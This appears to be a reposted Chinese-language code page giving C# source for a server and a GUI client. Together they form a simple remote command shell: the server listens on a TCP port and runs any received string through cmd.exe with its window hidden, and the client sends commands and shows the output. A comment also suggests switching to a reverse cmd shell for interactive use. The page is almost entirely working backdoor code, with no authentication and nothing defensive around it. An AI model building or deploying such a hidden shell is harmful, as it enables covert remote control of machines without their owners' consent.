服務端:
using System;using System.Collections.Generic;using System.Net;using System.Net.Sockets;using System.Text; namespace Server{ class Program { static void Main(string[] args) { Socket server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); IPEndPoint point = new IPEndPoint(IPAddress.Parse("127.0.0.1"),55555); try { server.Bind(point); server.Listen(10); //監聽本地端口 System.Console.WriteLine("開始監聽本地端口:55555"); while (true) { Socket sock = server.Accept(); byte[] buffer = new byte[1024 * 1024]; int n = sock.Receive(buffer); String cmd = Encoding.UTF8.GetString(buffer, 0, n); String result = execCmd(cmd); byte[] bytes = Encoding.UTF8.GetBytes(result); sock.Send(bytes); } } catch (Exception ex) { System.Console.WriteLine(ex.Message); return; } } //重定向輸入輸出流,并且用cmd執行命令 private static String execCmd(String cmd) { System.Diagnostics.Process p = new System.Diagnostics.Process(); p.StartInfo = new System.Diagnostics.ProcessStartInfo(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments ="/c "+cmd; //隱藏程序外殼 p.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; //在這里重定向輸出即可,因為不是交互式的,如果需要交互式的直接反彈cmd即可 p.StartInfo.RedirectStandardOutput = true; p.StartInfo.UseShellExecute = false; p.StartInfo.CreateNoWindow = true; p.Start(); return p.StandardOutput.ReadToEnd(); } }}
客戶端:
using System;using System.Collections.Generic;using System.ComponentModel;using System.Data;using System.Drawing;using System.Net;using System.Net.Sockets;using System.Text;using System.Threading;using System.Windows.Forms; /* * Code By iswin */ namespace Client{ public partial class main : Form { public main() { InitializeComponent(); this.ip.Text="127.0.0.1"; this.cmd.Text="ipconfig"; this.port.Text = "55555"; } private void send_Click(object sender, EventArgs e) { Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); String remoteip=this.ip.Text; String command = this.cmd.Text; IPAddress ip = IPAddress.Parse(remoteip); IPEndPoint point=new IPEndPoint(ip,int.Parse(port.Text)); try { this.recvmsg.Text = "開始連接服務端:" + remoteip + ":" + port.Text + "/n"; client.Connect(point); this.recvmsg.Text="連接服務端!/n給服務端發送指令:"+command; byte[] buffer = Encoding.UTF8.GetBytes(command); //講輸入的指令發送到服務端 client.Send(buffer); //接受服務端返回的數據 recvmsgs(client); client.Close(); } catch (Exception ex) { this.recvmsg.Text = ex.Message; MessageBox.Show(ex.Message); return; } } //接受服務端發送來的消息 private void recvmsgs(Socket client) { try { byte[] buffer = new byte[1024 * 1024]; int size = client.Receive(buffer); String recv = Encoding.UTF8.GetString(buffer, 0, size); this.recvmsg.Text = "/n" + recv; } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } }}
新聞熱點
疑難解答